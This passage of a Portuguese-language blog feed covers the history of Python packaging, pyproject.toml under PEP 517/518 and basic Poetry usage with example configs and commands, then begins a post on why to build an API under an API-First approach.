da convenção de uso do &lt;em&gt;entrypoint&lt;/em&gt; &lt;code class=&quot;language-text&quot;&gt;setup.py&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot; style=&quot;&quot;&gt;
    &lt;span
      class=&quot;gatsby-resp-image-wrapper&quot;
      style=&quot;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 768px; &quot;
    &gt;
      &lt;a
    class=&quot;gatsby-resp-image-link&quot;
    href=&quot;/static/85b8f2f09ad9890f8ea22dda1e6ddd33/302a4/py-dev-cycle.png&quot;
    style=&quot;display: block&quot;
    target=&quot;_blank&quot;
    rel=&quot;noopener&quot;
  &gt;
    &lt;span
    class=&quot;gatsby-resp-image-background-image&quot;
    style=&quot;padding-bottom: 46.35416666666667%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAJCAIAAAC9o5sfAAAACXBIWXMAAAsTAAALEwEAmpwYAAABmElEQVQoz2VRTU/bQBD1D+uZY6WeufEn+gvKBXFE6qWRqkhVxa0HKk4gIVoEaqGAiEPThnzYsZN4d53dzdpe7+x0nLSoiD2MZt7MvJl5G3jvEd30y4uvb4PodAMRCeGCK62xCRoj+xPRGeCTRwkfrN3s+6u7j0F68ZL8qqpGw4f5LCGnLEvnHPya4lgAACFkH0kDK4501DKDbb88w3q8AoHrciZrrXWSJBSHt3dht0tOURRE1wwtjXc2sLpn2EU++xH2Ym0a1n7Ct/aOPxzuI+Y8V3RFu91uvWtZa+ViYWu3FMyeHfjw/O/aylQ3nR7jPBr2rx/4yelONXi9VNM4TpWUkyRJ05SajTEOwCz1z8+f2O0lNYOHmihr8AhIF5KCpbiS7LetkWVzoRTEsR/TXkYpRQW1c53eKEqyAME1In07VO/flGQtlEWx0gQB3CJfUJp1Qt69J5BSNH/1QbhS2zeVMLkRu5tVdD2Z0e6MgLWgpC3LsmEc90fDbD6XUq7VBiCGf19FhYXH548qhBC5EJwoGaO1/8/+AVih9LwXPRJNAAAAAElFTkSuQmCC&apos;); background-size: cover; display: block;&quot;
  &gt;&lt;/span&gt;
  &lt;img
        class=&quot;gatsby-resp-image-image&quot;
        alt=&quot;Diagrama de fluxo com os passos para distribuição de pacotes&quot;
        title=&quot;Overview do workflow de desenvolvimento Python (py-generic-project.readthedocs.io)&quot;
        src=&quot;/static/85b8f2f09ad9890f8ea22dda1e6ddd33/e5715/py-dev-cycle.png&quot;
        srcset=&quot;/static/85b8f2f09ad9890f8ea22dda1e6ddd33/8514f/py-dev-cycle.png 192w,
/static/85b8f2f09ad9890f8ea22dda1e6ddd33/804b2/py-dev-cycle.png 384w,
/static/85b8f2f09ad9890f8ea22dda1e6ddd33/e5715/py-dev-cycle.png 768w,
/static/85b8f2f09ad9890f8ea22dda1e6ddd33/302a4/py-dev-cycle.png 1080w&quot;
        sizes=&quot;(max-width: 768px) 100vw, 768px&quot;
        style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&quot;
        loading=&quot;lazy&quot;
      /&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Overview do workflow de desenvolvimento Python (py-generic-project.readthedocs.io)&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;Quatro anos depois, somos apresentados ao &lt;code class=&quot;language-text&quot;&gt;setuptools&lt;/code&gt;, que introduz o pacote no formato
&lt;code class=&quot;language-text&quot;&gt;egg&lt;/code&gt; e a possibilidade de declarar e instalar dependências. Já em 2008, o &lt;code class=&quot;language-text&quot;&gt;pip&lt;/code&gt; é lançado
como uma alternativa aprimorada ao seu primo mais velho,
o &lt;code class=&quot;language-text&quot;&gt;easy_install&lt;/code&gt;, que possibilitava a
instalação de pacotes consultando um índice centralizado na &lt;em&gt;internet&lt;/em&gt;, chamado &lt;em&gt;Python Package Index&lt;/em&gt; (&lt;em&gt;pypi&lt;/em&gt;).&lt;/p&gt;
&lt;p&gt;E após indas e vindas (e um novo formato, chamado &quot;wheel&quot;), em 2014
o &lt;code class=&quot;language-text&quot;&gt;pip&lt;/code&gt; e o &lt;code class=&quot;language-text&quot;&gt;setuptools&lt;/code&gt; viram finalmente o padrão para empacotamento em &lt;em&gt;Python&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;Confira a &lt;em&gt;timeline&lt;/em&gt; completa no &lt;a href=&quot;https://www.pypa.io/en/latest/history/&quot; title=&quot;Veja na ïntegra&quot;&gt;&lt;em&gt;Packaging History&lt;/em&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;h3&gt;O ovo ou a galinha?&lt;/h3&gt;
&lt;p&gt;A &lt;a href=&quot;https://www.python.org/dev/peps/pep-0518/&quot; title=&quot;Leia a proposta na íntegra&quot;&gt;&lt;em&gt;PEP 518&lt;/em&gt;&lt;/a&gt; é
quem apresenta o arquivo &lt;code class=&quot;language-text&quot;&gt;pyproject.toml&lt;/code&gt;. &lt;a href=&quot;https://snarky.ca/what-the-heck-is-pyproject-toml/&quot; title=&quot;Leia mas sobre a motivação por trás da PEP 518&quot;&gt;Segundo &lt;em&gt;Brett Cannon&lt;/em&gt;&lt;/a&gt;,
criador da proposta:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;(...) the purpose of PEP 518 was to come up with a way for projects to specify what build tools they required. That&apos;s it, real simple and straightforward.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Antes dela, não havia uma forma (prática) de dizer quais ferramentas de &lt;em&gt;build&lt;/em&gt; que um projeto requer para gerar um pacote &lt;code class=&quot;language-text&quot;&gt;wheel&lt;/code&gt;. Embora
o &lt;code class=&quot;language-text&quot;&gt;setuptools&lt;/code&gt; possua um argumento &lt;code class=&quot;language-text&quot;&gt;setup_requires&lt;/code&gt; para este fim, você não consegue ler esse parâmetro sem antes ter o próprio &lt;code class=&quot;language-text&quot;&gt;setuptools&lt;/code&gt; instalado,
e não havia um lugar onde você pudesse especificar que precisa do &lt;code class=&quot;language-text&quot;&gt;setuptools&lt;/code&gt; para ler a configuração dentro do &lt;code class=&quot;language-text&quot;&gt;setuptools&lt;/code&gt; (notou o problema do ovo-galinha?).&lt;/p&gt;
&lt;p&gt;E como vivemos até então sem nos preocupar com esse problema? Simples! Ferramentas como o próprio &lt;em&gt;pip&lt;/em&gt; injetam o &lt;code class=&quot;language-text&quot;&gt;setuptools&lt;/code&gt; e o &lt;code class=&quot;language-text&quot;&gt;wheel&lt;/code&gt;
quando executando um arquivo &lt;code class=&quot;language-text&quot;&gt;setup.py&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;E se então tivéssemos um lugar para dizer ao &lt;em&gt;pip&lt;/em&gt; sobre a necessidade dessas ferramentas?&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;toml&quot;&gt;&lt;pre class=&quot;language-toml&quot;&gt;&lt;code class=&quot;language-toml&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;# pyproject.toml&lt;/span&gt;

&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token table class-name&quot;&gt;build-system&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;
&lt;span class=&quot;token key property&quot;&gt;requires&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;setuptools &gt;= 40.6.0&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;wheel&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;
&lt;span class=&quot;token key property&quot;&gt;build-backend&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;setuptools.build_meta&quot;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Booomm!!! Se amanhã &lt;a href=&quot;https://flit.readthedocs.io/en/latest/index.html&quot; title=&quot;Conheça o Flit&quot;&gt;alternativas mais interessantes ao &lt;em&gt;setuptools&lt;/em&gt;&lt;/a&gt; ou &lt;em&gt;pip&lt;/em&gt;
aparecerem, estaremos preparados.&lt;/p&gt;
&lt;h3&gt;E o que o Poetry tem a ver com isso?&lt;/h3&gt;
&lt;p&gt;O &lt;em&gt;Poetry&lt;/em&gt; declara qual será o &lt;em&gt;build backend&lt;/em&gt; através da utilização das PEPs
518 (citada acima) e &lt;a href=&quot;https://www.python.org/dev/peps/pep-0517/&quot; title=&quot;Leia a proposta na íntegra&quot;&gt;517&lt;/a&gt;:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;toml&quot;&gt;&lt;pre class=&quot;language-toml&quot;&gt;&lt;code class=&quot;language-toml&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;# pyproject.toml&lt;/span&gt;

&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token table class-name&quot;&gt;tool.poetry&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;
&lt;span class=&quot;token key property&quot;&gt;name&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;poetry-demo&quot;&lt;/span&gt;
&lt;span class=&quot;token key property&quot;&gt;version&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;0.1.0&quot;&lt;/span&gt;
&lt;span class=&quot;token key property&quot;&gt;description&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;&quot;&lt;/span&gt;
&lt;span class=&quot;token key property&quot;&gt;authors&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;Klaus Laube &amp;lt;mail@mail.com&gt;&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;

&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token table class-name&quot;&gt;tool.poetry.dependencies&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;
&lt;span class=&quot;token key property&quot;&gt;python&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;^3.7&quot;&lt;/span&gt;

&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token table class-name&quot;&gt;tool.poetry.dev-dependencies&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;
&lt;span class=&quot;token key property&quot;&gt;pytest&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;^5.2&quot;&lt;/span&gt;

&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token table class-name&quot;&gt;build-system&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;
&lt;span class=&quot;token key property&quot;&gt;requires&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;poetry-core&gt;=1.0.0&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;
&lt;span class=&quot;token key property&quot;&gt;build-backend&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;poetry.core.masonry.api&quot;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;O cliente, também instalado através do &lt;code class=&quot;language-text&quot;&gt;pip install&lt;/code&gt; anterior, sabe se comunicar
com o &lt;code class=&quot;language-text&quot;&gt;poetry.core&lt;/code&gt;, explicitamente declarado na seção &lt;code class=&quot;language-text&quot;&gt;[build-system]&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;E com isso o &lt;em&gt;Poetry&lt;/em&gt; não apenas cuidará das dependências do seu projeto,
como também se responsabilizará por buildar o seu app ou &lt;em&gt;lib&lt;/em&gt;, e distribuí-lo
no &lt;em&gt;Python Package Index&lt;/em&gt;.&lt;/p&gt;
&lt;h2&gt;Continuando a poesia&lt;/h2&gt;
&lt;p&gt;Para adicionar uma dependência ao projeto, passamos a utilizar o comando &lt;code class=&quot;language-text&quot;&gt;poetry add&lt;/code&gt;:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;$ poetry add django&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Com isso, o &lt;em&gt;Django&lt;/em&gt; passa a ser adicionado ao &quot;requirements&quot;:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;toml&quot;&gt;&lt;pre class=&quot;language-toml&quot;&gt;&lt;code class=&quot;language-toml&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;# pyproject.toml&lt;/span&gt;

&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;

&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token table class-name&quot;&gt;tool.poetry.dependencies&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;
&lt;span class=&quot;token key property&quot;&gt;python&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;^3.7&quot;&lt;/span&gt;
&lt;span class=&quot;token key property&quot;&gt;Django&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;^3.1.4&quot;&lt;/span&gt;

&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Por consequência um arquivo &lt;code class=&quot;language-text&quot;&gt;poetry.lock&lt;/code&gt; foi criado, e é ele quem garantirá o determinismo durante
a instalação de dependências do projeto:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;$ poetry install

Installing dependencies from lock file&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Outra consequência do comando &lt;code class=&quot;language-text&quot;&gt;add&lt;/code&gt; foi a criação automática de um &lt;em&gt;virtualenv&lt;/em&gt;. Agora, através do comando
&lt;code class=&quot;language-text&quot;&gt;poetry run&lt;/code&gt;, podemos executar dependências &lt;em&gt;Python&lt;/em&gt; diretamente do ambiente virtual:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;$ poetry run django-admin.py -h&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Ou ainda através do comando &lt;code class=&quot;language-text&quot;&gt;shell&lt;/code&gt;:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;$ poetry shell
$ which django-admin.py
/Users/klauslaube/Library/Caches/pypoetry/virtualenvs/poetry-demo-IqTsQBT7-py3.9/bin/django-admin&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Note que em um ambiente diferente de &lt;em&gt;development&lt;/em&gt;, &lt;a href=&quot;https://python-poetry.org/docs/basic-usage/#installing-dependencies-only&quot; title=&quot;Installing dependencies only&quot;&gt;talvez você precise do parâmetro &lt;code class=&quot;language-text&quot;&gt;--no-root&lt;/code&gt;&lt;/a&gt;:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;$ poetry install --no-root&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h2&gt;Conclusão&lt;/h2&gt;
&lt;p&gt;Há cerca de 3 meses eu retornei do &lt;em&gt;Java&lt;/em&gt; ao &lt;em&gt;Python&lt;/em&gt;, e tinha esquecido (ou nunca de fato notado)
o quão não intuitivo é a dança entre &lt;em&gt;pyenv&lt;/em&gt;, &lt;em&gt;virtualenv&lt;/em&gt; e &lt;em&gt;pip&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;Nisso, tanto &lt;em&gt;Pipenv&lt;/em&gt; quanto &lt;em&gt;Poetry&lt;/em&gt; são fenomenais. O &lt;em&gt;Pipenv&lt;/em&gt; leva certa vantagem, uma vez que
é capaz de &lt;a href=&quot;https://stackoverflow.com/questions/50161551/set-python-version-when-creating-virtualenv-using-pipenv#:~:text=When%20setting%20up%20your%20pipenv,6.&amp;#x26;text=to%20the%20specific%20version%20of%20Python%20you%20want.&quot; title=&quot;Leia a thread no Stackoverflow&quot;&gt;gerenciar até mesmo a versão do &lt;em&gt;Python&lt;/em&gt;&lt;/a&gt; (com &lt;em&gt;Poetry&lt;/em&gt;, ainda necessitamos do &lt;em&gt;pyenv&lt;/em&gt;).&lt;/p&gt;
&lt;p&gt;Aparentemente há planos do &lt;em&gt;pip&lt;/em&gt; suportar um argumento &lt;code class=&quot;language-text&quot;&gt;--pipfile&lt;/code&gt;, o que faria do &lt;em&gt;Pipfile&lt;/em&gt; (e por consequência &lt;em&gt;Pipenv&lt;/em&gt;) uma opção ainda mais
atraente que o concorrente.&lt;/p&gt;
&lt;p&gt;Mas tenho certeza que o &lt;em&gt;Poetry&lt;/em&gt; será uma mão na roda caso você esteja escrevendo &lt;em&gt;libs&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;Até a próxima.&lt;/p&gt;
&lt;h2&gt;Referências&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://snarky.ca/clarifying-pep-518/&quot;&gt;Brett Cannon - Clarifying PEP 518 (a.k.a. pyproject.toml)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://snarky.ca/what-the-heck-is-pyproject-toml/&quot;&gt;Brett Cannon - What the heck is pyproject.toml?&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.pypa.io/en/latest/history/&quot;&gt;PyPA - Packaging History&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.python.org/dev/peps/pep-0517/&quot;&gt;PEP 517 - A build-system independent format for source trees&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.python.org/dev/peps/pep-0518/&quot;&gt;PEP 518 - Specifying Minimum Build System Requirements for Python Projects&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.python.org/dev/peps/pep-0621/&quot;&gt;PEP 621 - Storing project metadata in pyproject.toml&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.python.org/dev/peps/pep-0633/&quot;&gt;PEP 633 - Dependency specification in pyproject.toml using an exploded TOML table&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://stackoverflow.com/questions/62983756/what-is-pyproject-toml&quot;&gt;Stackoverflow - What is pyproject.toml?&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://the-hitchhikers-guide-to-packaging.readthedocs.io/en/latest/history.html&quot;&gt;The Hitchhiker&apos;s Guide to Packaging&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://towardsdatascience.com/solving-dependency-management-in-python-with-poetry-165b92069e9d&quot;&gt;Towards Data Science - Solving dependency management in Python with Poetry&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://vinayak.io/2020/08/17/day-6-some-pep-talk/&quot;&gt;Vinayak Mehta - Some PEP talk, or: What is a pyproject.toml?&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/TOML&quot;&gt;Wikipedia - TOML&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content:encoded></item><item><title><![CDATA[Você precisa de uma API?]]></title><description><![CDATA[Nos últimos anos tenho advogado em prol do API-First. Não apenas
por acreditar nos impactos econômicos que a prática pode apresentar, como…]]></description><link>https://klauslaube.com.br/2020/10/09/voce-precisa-de-uma-api.html</link><guid isPermaLink="false">https://klauslaube.com.br/2020/10/09/voce-precisa-de-uma-api.html</guid><pubDate>Fri, 09 Oct 2020 06:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Nos últimos anos tenho advogado em prol do &lt;a href=&quot;/tag/api-first.html&quot; title=&quot;Leia mais sobre API-First&quot;&gt;&lt;em&gt;API-First&lt;/em&gt;&lt;/a&gt;. Não apenas
por acreditar nos impactos econômicos que a prática pode apresentar, como também nos benefícios de arquitetura,
organização e integração. Sem falar no &quot;supracitado&quot; &lt;em&gt;Developer eXperience&lt;/em&gt;, que vem quase que embutido ao
realizar o &lt;em&gt;design&lt;/em&gt; de suas &lt;a href=&quot;/tag/api.html&quot; title=&quot;Leia mais sobre APIs&quot;&gt;&lt;em&gt;APIs&lt;/em&gt;&lt;/a&gt; antes mesmo de implementá-las.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;/2020/02/21/o-api-first.html&quot; title=&quot;Leia o artigo na íntegra&quot;&gt;O API-First&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;/2020/03/02/api-first-processo-e-ferramentas.html&quot; title=&quot;Leia o artigo na íntegra&quot;&gt;API-First: Processo e ferramentas&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;/2020/04/05/api-blueprint-markdown-e-vida.html&quot; title=&quot;Leia o artigo na íntegra&quot;&gt;API Blueprint: Markdown é vida!&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;/2017/11/25/swagger-e-o-open-api-initiative.html&quot; title=&quot;Leia o artigo na íntegra&quot;&gt;Swagger e o Open API Initiative&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;/2018/03/15/swagger-na-pratica.html&quot; title=&quot;Leia o artigo na íntegra&quot;&gt;Swagger na prática&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;/2017/01/31/ramilificando-as-suas-apis.html&quot; title=&quot;Leia o artigo na íntegra&quot;&gt;Ramilificando as suas APIs&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Como nem tudo em desenvolvimento pode ser considerado &quot;bala de prata&quot; (estou olhando para você, &lt;em&gt;microservices&lt;/em&gt;),
o propósito desse artigo é estressar a motivação por trás da construção de uma &lt;em&gt;API&lt;/em&gt;.&lt;/p&gt;
&lt;h2&gt;O que é uma API?&lt;/h2&gt;
&lt;p&gt;Segundo &lt;a href=&quot;https://medium.com/@TebbaVonMathenstien/what-is-an-api-and-why-should-i-use-one-863c3365726b&quot; title=&quot;What Is an API and Why Should I Use One?&quot;&gt;&lt;em&gt;Tyler Elliot&lt;/em&gt;&lt;/a&gt;:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;In general, APIs define the rules that programmers must follow in order to interact with a programming language, a software library, or any other software tool. Lately though, the term API is most often used to describe a particular kind of web interface. These Web APIs are a set of rules for interacting with a webserver (such as a Salesforce server), with the most common use case being data retrieval.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot; style=&quot;&quot;&gt;
    &lt;span
      class=&quot;gatsby-resp-image-wrapper&quot;
      style=&quot;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 768px; &quot;
    &gt;
      &lt;a
    class=&quot;gatsby-resp-image-link&quot;
    href=&quot;/static/6111b39bbdd735b487901e9aab0240dc/faddd/what-is-an-api.jpg&quot;
    style=&quot;display: block&quot;
    target=&quot;_blank&quot;
    rel=&quot;noopener&quot;
  &gt;
    &lt;span
    class=&quot;gatsby-resp-image-background-image&quot;
    style=&quot;padding-bottom: 56.25%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/jpeg;base64,/9j/2wBDABALDA4MChAODQ4SERATGCgaGBYWGDEjJR0oOjM9PDkzODdASFxOQERXRTc4UG1RV19iZ2hnPk1xeXBkeFxlZ2P/2wBDARESEhgVGC8aGi9jQjhCY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2P/wgARCAALABQDASIAAhEBAxEB/8QAFgABAQEAAAAAAAAAAAAAAAAAAgAF/8QAFgEBAQEAAAAAAAAAAAAAAAAAAgAB/9oADAMBAAIQAxAAAAHbLKNKy//EABkQAAMBAQEAAAAAAAAAAAAAAAABAhEhMf/aAAgBAQABBQLeulKT1DiaPD//xAAUEQEAAAAAAAAAAAAAAAAAAAAQ/9oACAEDAQE/AT//xAAUEQEAAAAAAAAAAAAAAAAAAAAQ/9oACAECAQE/AT//xAAYEAADAQEAAAAAAAAAAAAAAAABEBEhAP/aAAgBAQAGPwLtxwir/8QAGhABAAIDAQAAAAAAAAAAAAAAAQARITFBUf/aAAgBAQABPyHh2Wh0lAnZRuAYTxgAowE//9oADAMBAAIAAwAAABAH/wD/xAAVEQEBAAAAAAAAAAAAAAAAAAAQIf/aAAgBAwEBPxCn/8QAFREBAQAAAAAAAAAAAAAAAAAAECH/2gAIAQIBAT8Qh//EABoQAQEBAQEBAQAAAAAAAAAAAAERACExQXH/2gAIAQEAAT8QR6BHi6d6MFZ3c9QUyzx390m630LjJgIB8N//2Q==&apos;); background-size: cover; display: block;&quot;
  &gt;&lt;/span&gt;
  &lt;img
        class=&quot;gatsby-resp-image-image&quot;
        alt=&quot;Ilustração sobre o que é uma API&quot;
        title=&quot;Uma máquina normalmente consome uma API. Já uma pessoa, geralmente, uma interface visual (callr.com)&quot;
        src=&quot;/static/6111b39bbdd735b487901e9aab0240dc/212bf/what-is-an-api.jpg&quot;
        srcset=&quot;/static/6111b39bbdd735b487901e9aab0240dc/7809d/what-is-an-api.jpg 192w,
/static/6111b39bbdd735b487901e9aab0240dc/4ecad/what-is-an-api.jpg 384w,
/static/6111b39bbdd735b487901e9aab0240dc/212bf/what-is-an-api.jpg 768w,
/static/6111b39bbdd735b487901e9aab0240dc/faddd/what-is-an-api.jpg 850w&quot;
        sizes=&quot;(max-width: 768px) 100vw, 768px&quot;
        style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&quot;
        loading=&quot;lazy&quot;
      /&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Uma máquina normalmente consome uma API. Já uma pessoa, geralmente, uma interface visual (callr.com)&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;Em outras palavras, você acessa o &lt;em&gt;Gmail&lt;/em&gt; diariamente do seu &lt;em&gt;browser&lt;/em&gt; através da interface &lt;a href=&quot;/tag/web.html&quot; title=&quot;Leia mais sobre web&quot;&gt;&lt;em&gt;web&lt;/em&gt;&lt;/a&gt;. Porém, integrações com outras máquinas são realizadas através de &lt;em&gt;APIs&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;Na verdade, mesmo o &lt;em&gt;Gmail&lt;/em&gt; aberto em seu navegador depende de &lt;em&gt;APIs&lt;/em&gt; para funcionar. Possivelmente as mesmas &lt;em&gt;APIs&lt;/em&gt; que alimentam a &lt;em&gt;app mobile&lt;/em&gt; do próprio &lt;em&gt;Google&lt;/em&gt;,
ou clientes terceiros (como o &lt;em&gt;Mail&lt;/em&gt;, da &lt;em&gt;Apple&lt;/em&gt;).&lt;/p&gt;
&lt;h2&gt;Mashup, SaaS, e economia&lt;/h2&gt;
&lt;p&gt;E o primeiro argumento gira em torno dessa oportunidade de integrações e negócios com terceiros.&lt;/p&gt;
